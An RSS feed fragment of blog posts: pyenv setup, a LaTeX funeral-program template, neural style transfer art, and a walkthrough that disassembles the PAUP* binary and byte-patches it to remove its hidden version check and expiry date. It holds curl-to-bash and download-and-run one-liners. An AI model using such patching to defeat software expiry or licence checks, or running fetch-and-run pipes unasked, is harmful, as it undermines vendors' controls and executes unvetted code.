&lt;li&gt;&lt;a href="https://github.com/pyenv/pyenv"&gt;&lt;strong&gt;pyenv&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pyenv-virtualenv&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pyenv/pyenv-virtualenvwrapper"&gt;&lt;strong&gt;pyenv-virtualenvwrapper&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="prep"&gt;Prep &lt;a href="#prep"&gt;¶&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;In order to get pyenv running, we need the following libraries:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt-get install -y make build-essential sqlite3 libssl-dev zlib1g-dev libbz2-dev \
libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev \
xz-utils tk-dev
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
#### pyenv &amp; pyenv-virtualenv
Using the pyenv-installer, install pyenv and pyenv-virtualenv
&lt;p&gt;&lt;code&gt;curl -L https://github.com/pyenv/pyenv-installer/raw/master/bin/pyenv-installer | bash&lt;/code&gt;&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Wed, 06 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/notes/2018.06.06/</guid></item><item><title>Example for LaTeX Funeral or Memorial Program</title><link>https://sean.lane.sh/posts/2018/06/Example-for-LaTeX-Funeral-or-Memorial-Program/</link><description>&lt;p&gt;Another quick post, but something that I hope might be useful to others. Within the past couple weeks, my grandmother of 83 years passed away and my family held a memorial service in her honor. I was asked if I could help out in creating a program booklet or pamphlet that could be given out to the attendees, something that would describe the service itself as well as share a piece of my grandmother&amp;rsquo;s life with them as we gathered to remember her. Grandma Arlene was a classy lady and I wanted to help her leave a lasting impression on all of those who could make it out to honor her life. As a graduate student in Computer Science, I felt like using LaTeX would be a great way to do so, though my Internet searches fell somewhat short of what I was looking for. We wanted a simple layout consisting of four &amp;ldquo;pages&amp;rdquo;, two of which would be printed on a single side of standard sized US letter paper, and then folded into a four page pamphlet after printing. This could also serve well for someone looking for a LaTeX template for religious or other services where a 4 page booklet is desired.&lt;/p&gt;
&lt;p&gt;The files for this project can be found on GitHub here: &lt;a href="https://github.com/seanlane/LaTeX-Funeral-Program"&gt;Example for LaTeX Funeral or Memorial Program&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The project makes use of standard LaTeX components as well as the &lt;code&gt;pgfornament&lt;/code&gt; package to add some style to the program. The general process is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Edit the &lt;code&gt;main.tex&lt;/code&gt; file as needed&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Note that you will need to adjust paper size as needed to fit onto a half of the paper size you intend to use. As it currently stands, it&amp;rsquo;s set to be printed on a 8.5 inches by 5.5 inches section of 8.5 inches by 11 inches sized US letter paper&lt;/li&gt;
&lt;li&gt;Also modify your images as needed. My grandmother was a prodigious quilter, and we wanted to have one of her quilts serve as the background for the third page where the actual service is described.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;Use the &lt;code&gt;Makefile&lt;/code&gt; default command to make the main file, which will produce 4 pages on the size of paper specified in &lt;code&gt;main.tex&lt;/code&gt; and then take those four pages and place them on both sides of US letter paper as described by &lt;code&gt;booklet.tex&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;I found that the pages of the output &lt;code&gt;booklet.pdf&lt;/code&gt; were still oriented in a portrait orientation, so I used Apple Preview to rotate the pages. There may likely be a programmatic way to address that issue, but I never bothered to resolve it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Below are screenshots of the output.&lt;/p&gt;
&lt;figure&gt;&lt;img alt="First page of the final PDF output" src="https://sean.lane.sh/images/2018/06/latex_funeral_program_pg1.png" /&gt;&lt;figcaption&gt;
            &lt;h4&gt;First page&lt;/h4&gt;&lt;p&gt;First page of the final PDF output&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;img alt="Second page of the final PDF output" src="https://sean.lane.sh/images/2018/06/latex_funeral_program_pg2.png" /&gt;&lt;figcaption&gt;
            &lt;h4&gt;Second page&lt;/h4&gt;&lt;p&gt;Second page of the final PDF output&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;</description><author>Posts on Sean Lane</author><pubDate>Wed, 06 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/06/Example-for-LaTeX-Funeral-or-Memorial-Program/</guid></item><item><title>Neural nets see cancer zombies</title><link>https://rybakov.com/blog/neural_nets_see_cancer_zombies/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  small" controls="controls" id="zombie_anim" loop="true" poster="/video/zombie_anim/zombie_anim.jpg"&gt;
      &lt;source src="../video/zombie_anim/zombie_anim.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="zombie_animbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="zombie_animpaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Looking for ways to visualize machine learning processes.
Neural nets are trained to recognized cancerous Ki-67 marked cells in biopsies. Instead of just counting the cells, a neural style process is run to produce infinite zombies in their place.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 05 Jun 2018 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/neural_nets_see_cancer_zombies/</guid></item><item><title>Visualizing complexity</title><link>https://rybakov.com/blog/visualizing_complexity/</link><description>&lt;p&gt;&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-old-contemp-illus.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;I was doing some research for an upcoming exhibition and looked into the question of &lt;em&gt;tone&lt;/em&gt; in scientific communication, specifically the stylistic influence of visual representations of knowledge. Obviously the style changed over time, became more abstract, less naturalistic, less.. certain. As if the scientists became troubled by the idea of adding some character to the visual language - which is futile anyway: no matter what you do you end up with something that has character, just maybe a lame one.
One particularly popular type of illustration in geosciences is the block diagram. While visually appealing, it often lacks any kind of a sensible way to embed processes that happen outside of the cut out piece of earth - the circulation of water, the circulation of life forms, human influence, changes over time - all that has to be added in some stupid way, with arrows and explanations.&lt;/p&gt;
&lt;p&gt;Instead, I looked for ways to bring some of the old, more subjective ways to scientific illustrations. Add a few too many details. Make it alive, permeable for living creatures.&lt;/p&gt;
&lt;p&gt;I took some illustrations by the 19th century German zoologist, philosopher and illustrator Ernst Haeckel, and used them as style for a &lt;em&gt;neural style transfer&lt;/em&gt; algorithm.&lt;/p&gt;
&lt;p&gt;&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-pop-gamochonia07.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;We are conditioned to look for meaning in scientific illustrations. While the meaning is lost through the process of neural style transfer, the illustration gains a lot of visual complexity. As viewers we may sense a deep cross-interlocking between the animal and its environment, but we do not get the chance to actually understand the specifics of their relationships.&lt;/p&gt;
&lt;p&gt;Here are a few more:&lt;/p&gt;
&lt;p&gt;&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-arachnidae.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-muscinae.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-asteridae.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-urbansystem.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-ks.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-jelly.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;
&lt;figure class=""&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/neural-discomedusae.jpg" /&gt;




&lt;/figure&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Because of the non-deterministic nature of neural style transfer, the results differ a little bit every time you run the script. Combining a dozen outputs creates an interesting effect. It&amp;rsquo;s not breathing nor movement but some kind of uncertainty that normally only comes when you freeze living matter in time. Like a collection of portrait photographs, neither of which is truly &lt;em&gt;you&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="animated_style" loop="true" poster="/video/animated_style/animated_style.jpg"&gt;
      &lt;source src="../video/animated_style/animated_style.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="animated_stylebuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="animated_stylepaused"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;h3 id="how-to-do-it-yourself"&gt;How to do it yourself&lt;/h3&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 05 Jun 2018 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/visualizing_complexity/</guid></item><item><title>Practical remote working: part 3 - business processes and culture</title><link>https://blog.christoolivier.com/p/practical-remote-working-part-3-business-processes-and-culture</link><description>In the last two posts we tackled what I have always found the easy parts in being an effective remote worker.</description><author>Christo’s Blog</author><pubDate>Tue, 05 Jun 2018 14:52:49 GMT</pubDate><guid isPermaLink="true">https://blog.christoolivier.com/p/practical-remote-working-part-3-business-processes-and-culture</guid></item><item><title>Removing PAUP's expiration date and version check</title><link>https://jonathanchang.org/blog/removing-paup-s-expiration-date-and-version-check/</link><description>&lt;h2&gt;Bottom line&lt;/h2&gt;
  &lt;p&gt;PAUP* phones home for a version check every time it is started. This function is undocumented and the software itself does not alert the user that this occurs.&lt;/p&gt;
  &lt;p&gt;PAUP* also has an expiration date, set to July 2018 at the time of this writing, after which the program cannot be used.&lt;/p&gt;
  &lt;p&gt;&lt;em&gt;Note: PAUP (as of version 4a166) now no longer expires. The version check still exists, though.&lt;/em&gt;&lt;/p&gt;
  &lt;p&gt;I would prefer to remove these features.&lt;/p&gt;
  &lt;p&gt;Copy and paste this into Terminal:&lt;/p&gt;
  &lt;div class="language-bash highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-L&lt;/span&gt; http://phylosolutions.com/paup-test/paup4a161_osx.gz | gzcat | perl &lt;span class="nt"&gt;-pe&lt;/span&gt; &lt;span class="s1"&gt;'s/p(hylosolutions.com)/_$1/g; s/\x{81}(\x{fa}\x{e2}\x{07})/\x{c3}$1/'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; paup4a161_fixed
&lt;span class="nb"&gt;chmod &lt;/span&gt;a+x paup4a161_fixed
./paup4a161_fixed
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;This downloads PAUP for macOS and gently applies the Stick of Correction.&lt;/p&gt;
  &lt;p&gt;This won’t necessarily work on Linux so you’ll have to follow the detailed steps below to apply the specific correction. If you figure it out for Linux please tweet or email me and I’ll update this article.&lt;/p&gt;
  &lt;h2&gt;Introduction&lt;/h2&gt;
  &lt;p&gt;&lt;a href="http://paup.phylosolutions.com/"&gt;PAUP*&lt;/a&gt; is a great piece of software that has some misfeatures that I’d like to correct. Its silent version checks and the &lt;a href="https://en.wikipedia.org/wiki/Time_bomb_(software)"&gt;time-bomb&lt;/a&gt; function that make the software stop working after a certain date are pretty user-hostile. The closed-source nature of PAUP also means that we can’t just go into the source and delete the offending code.&lt;/p&gt;
  &lt;p&gt;But given enough know-how we can still modify this closed-source binary executable. The rest of this blog post will detail the general way I approached the problem and how I patched PAUP to get around these mandatory date and version checks.&lt;/p&gt;
  &lt;h2&gt;PAUP phones home&lt;/h2&gt;
  &lt;p&gt;&lt;img alt="Little Snitch alerts us to PAUP’s version check" src="/uploads/2018/paup_snitch.png" /&gt;&lt;/p&gt;
  &lt;p&gt;I recently bought and installed &lt;a href="https://www.obdev.at/products/littlesnitch/index.html"&gt;Little Snitch&lt;/a&gt;, which alerts you when software is connecting to the Internet, and lets you allow or deny the connection attempt. I started up PAUP* and it surprisingly asked to connect to the Internet. I forbade the connection and started to dig deeper to find out what was going on.&lt;/p&gt;
  &lt;blockquote&gt;
    &lt;p&gt;Note: Attempt to get current version info from server was not successful (no network connection available, or connection failed)&lt;/p&gt;
  &lt;/blockquote&gt;
  &lt;p&gt;The Little Snitch dialog suggested a connection attempt to phylosolutions.com, which is where the download for PAUP is hosted. Let’s see if we can find that website encoded in the binary using &lt;code&gt;strings&lt;/code&gt;, which takes a binary (or any other file) and tries to extract human-readable text out of it.&lt;/p&gt;
  &lt;div class="language-bash highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;strings paup4a161_osx | &lt;span class="nb"&gt;grep &lt;/span&gt;phylosolutions
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;The output of which is:&lt;/p&gt;
  &lt;div class="highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;http://phylosolutions.com/paup-distribution/current_dev_version
## (snipped)
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;That first output line is interesting, so let’s visit that site with &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;
  &lt;div class="highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;$ curl http://phylosolutions.com/paup-distribution/current_dev_version
&lt;p&gt;160	4.0a (build 160)
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Looks like it’s returning the latest build number and a human readable version string, delimited by tabs.&lt;/p&gt;
&lt;p&gt;This suggests that we can simply change the requested URL to an invalid one, so that this network connection is never made.&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;perl -pi -e 's/p(hylosolutions.com)/_$1/g' paup4a161_osx
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This tells Perl to &lt;code&gt;-e&lt;/code&gt;xecute a line of code, &lt;code&gt;-p&lt;/code&gt;rinting the result of editing the file &lt;code&gt;paup4a161_osx&lt;/code&gt; &lt;code&gt;-i&lt;/code&gt;n place, using a regular expression to change the first character of &lt;code&gt;phylosolutions.com&lt;/code&gt; to an underscore.&lt;/p&gt;
&lt;p&gt;Note that the replacement string must have the same number of characters as the input string since we’re patching an executable file. (Try excluding the underscore to see what happens).&lt;/p&gt;
&lt;p&gt;We can confirm this worked since running the updated executable results in a new error message and no connection attempt:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;./paup4a161_osx
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;Note: Attempt to get current version info from server was not successful (network connection failed with error code = 6)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;PAUP expires&lt;/h2&gt;
&lt;p&gt;I was intrigued to see that PAUP announces an expiration date when you start the program:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;This is an alpha-test version that is still changing rapidly.&lt;/p&gt;
  &lt;p&gt;It will expire on 1 Jul 2018.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When we ran &lt;code&gt;strings&lt;/code&gt; above we also saw an expiration message:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;This version of PAUP has expired.  Visit &lt;a href="http://paup.phylosolutions.com"&gt;http://paup.phylosolutions.com&lt;/a&gt; to obtain a newer version.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;How does software “expire”? Let’s test this out by artificially setting our system time to August 1, 2018:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;sudo date 0801000018
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;PAUP* now announces that it is expired and unceremoniously exits! We can’t  run PAUP in August, but this can be fixed. First we should restore our original system time:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;sudo ntpdate -u time.apple.com
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We could take the same approach as before, looking for strings that correspond to dates. But it seems unlikely that the date would be coded as a string, and I’m not sure what the exact date would be (July 1? June 30? etc.) so I’m going to take a different approach and look for debugging symbols that might correspond to what we’re looking for. Luckily the PAUP binary hasn’t had these stripped out:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;nm paup4a161_osx | grep -i expir
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;0000000100027cb6 T _checkIfExpired
00000001003ce998 b _gVersionHasExpired
0000000100027c44 T _isExpiredOrUnlicensed
0000000100027c3c T _isVersionExpired
0000000100027c92 T _showExpiredMessage
0000000100027c4c t _testExpiration
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;All very promising. The last function, &lt;code&gt;testExpiration&lt;/code&gt; seems particularly meaty. I fire up LLDB, a debugger, and ask it to disassemble that function for me:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt; $ lldb paup4a161_osx 
(lldb) target create "paup4a161_osx"
Current executable set to 'paup4a161_osx' (x86_64).
(lldb) di -n testExpiration
paup4a161_osx`testExpiration:
paup4a161_osx[0x100027c4c] &amp;lt;+0&amp;gt;:  xorl   %eax, %eax
paup4a161_osx[0x100027c4e] &amp;lt;+2&amp;gt;:  cmpl   $0x7e2, %edx              ; imm = 0x7E2 
paup4a161_osx[0x100027c54] &amp;lt;+8&amp;gt;:  jl     0x100027c86               ; &amp;lt;+58&amp;gt;
paup4a161_osx[0x100027c56] &amp;lt;+10&amp;gt;: jg     0x100027c86               ; &amp;lt;+58&amp;gt;
paup4a161_osx[0x100027c58] &amp;lt;+12&amp;gt;: je     0x100027c62               ; &amp;lt;+22&amp;gt;
paup4a161_osx[0x100027c5a] &amp;lt;+14&amp;gt;: movb   $0x0, 0x3a6d37(%rip)      ; gExportMissingSymbol + 7
paup4a161_osx[0x100027c61] &amp;lt;+21&amp;gt;: retq   
&lt;h2&gt;(rest of the disassembly snipped)&lt;/h2&gt;
&lt;p&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;This is the translated machine code that our computer is actually running when PAUP calls this function. The important line is &lt;code&gt;cmpl $0x7e2, %edx&lt;/code&gt; followed by the &lt;code&gt;jl jg je&lt;/code&gt; commands. This basically says “compare what’s in edx to the constant value 0x7e2, then jump to one memory location or another if they’re equal (&lt;code&gt;je&lt;/code&gt;) or not (&lt;code&gt;jl&lt;/code&gt; and &lt;code&gt;jg&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I know I’m on the right track now since hexadecimal 0x7e2 is equal to decimal 2018 — the current year.&lt;/p&gt;
&lt;p&gt;I’m still a novice at assembly but my interpretation is that PAUP only runs if the current date is between March 1, 2018 and July 1, 2018.&lt;/p&gt;
&lt;div class="language-nasm highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nf"&gt;xorl&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;                &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;cmpl&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x7e2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;              &lt;span class="c1"&gt;; 0x7e2 = 2018&lt;/span&gt;
&lt;span class="nf"&gt;jl&lt;/span&gt;     &lt;span class="mh"&gt;0x100027c86&lt;/span&gt;               &lt;span class="c1"&gt;; if edx != 2018: return true&lt;/span&gt;
&lt;span class="nf"&gt;jg&lt;/span&gt;     &lt;span class="mh"&gt;0x100027c86&lt;/span&gt;               &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;je&lt;/span&gt;     &lt;span class="mh"&gt;0x100027c62&lt;/span&gt;               &lt;span class="c1"&gt;; edx == 2018&lt;/span&gt;
&lt;span class="nf"&gt;movb&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3a6d37&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;retq&lt;/span&gt;                             &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;cmpl&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;                &lt;span class="c1"&gt;; 0x3 = 3&lt;/span&gt;
&lt;span class="nf"&gt;jl&lt;/span&gt;     &lt;span class="mh"&gt;0x100027c7b&lt;/span&gt;               &lt;span class="c1"&gt;; if esi &amp;lt; 3: return true&lt;/span&gt;
&lt;span class="nf"&gt;jne&lt;/span&gt;    &lt;span class="mh"&gt;0x100027c6f&lt;/span&gt;               &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;testl&lt;/span&gt;  &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;                &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;jle&lt;/span&gt;    &lt;span class="mh"&gt;0x100027c7b&lt;/span&gt;               &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;jmp&lt;/span&gt;    &lt;span class="mh"&gt;0x100027c5a&lt;/span&gt;               &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;cmpl&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;esi&lt;/span&gt;                &lt;span class="c1"&gt;; 0x7 = 7&lt;/span&gt;
&lt;span class="nf"&gt;jg&lt;/span&gt;     &lt;span class="mh"&gt;0x100027c7b&lt;/span&gt;               &lt;span class="c1"&gt;; if esi &amp;gt; 7: return true&lt;/span&gt;
&lt;span class="nf"&gt;jne&lt;/span&gt;    &lt;span class="mh"&gt;0x100027c5a&lt;/span&gt;               &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;cmpl&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;                &lt;span class="c1"&gt;; 0x1 = 1&lt;/span&gt;
&lt;span class="nf"&gt;jle&lt;/span&gt;    &lt;span class="mh"&gt;0x100027c5a&lt;/span&gt;               &lt;span class="c1"&gt;; probably tests for day, hour, etc. in a loop&lt;/span&gt;
&lt;span class="nf"&gt;pushq&lt;/span&gt;  &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;                      &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;popq&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;                      &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;movb&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3a6d13&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;; return true?&lt;/span&gt;
&lt;span class="nf"&gt;retq&lt;/span&gt;                             &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;pushq&lt;/span&gt;  &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;                      &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;popq&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;                      &lt;span class="c1"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;movb&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3a6d08&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;; return true?&lt;/span&gt;
&lt;span class="nf"&gt;retq&lt;/span&gt;
&lt;span class="nf"&gt;nop&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Returning to &lt;code&gt;lldb&lt;/code&gt; we ask for the exact disassembled bytes of this function:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;(lldb) dis -b -n testExpiration
paup4a161_osx`testExpiration:
paup4a161_osx[0x100027c4c] &amp;lt;+0&amp;gt;:  33 c0                 xorl   %eax, %eax
paup4a161_osx[0x100027c4e] &amp;lt;+2&amp;gt;:  81 fa e2 07 00 00     cmpl   $0x7e2, %edx
paup4a161_osx[0x100027c54] &amp;lt;+8&amp;gt;:  7c 30                 jl     0x100027c86
paup4a161_osx[0x100027c56] &amp;lt;+10&amp;gt;: 7f 2e                 jg     0x100027c86
paup4a161_osx[0x100027c58] &amp;lt;+12&amp;gt;: 74 08                 je     0x100027c62
paup4a161_osx[0x100027c61] &amp;lt;+21&amp;gt;: c3                    retq
&lt;h2&gt;(snipped)&lt;/h2&gt;
&lt;p&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;We want to patch out the byte sequence &lt;code&gt;81 fa e2 07&lt;/code&gt; since that corresponds to the first critical &lt;code&gt;cmpl&lt;/code&gt; instruction. (N.B.: 0x7e2 is stored as &lt;code&gt;e2 07&lt;/code&gt;, in &lt;a href="https://en.wikipedia.org/wiki/Endianness"&gt;little-endian order&lt;/a&gt;). Let’s use &lt;code&gt;xxd&lt;/code&gt; to ensure that this sequence is unique:&lt;/p&gt;
&lt;div class="highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;xxd -p paup4a161_osx | grep -o '81fae207'
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This confirms that the hex sequence &lt;code&gt;81 fa e2 07&lt;/code&gt; only occurs once in the file and is safe to patch out.&lt;/p&gt;
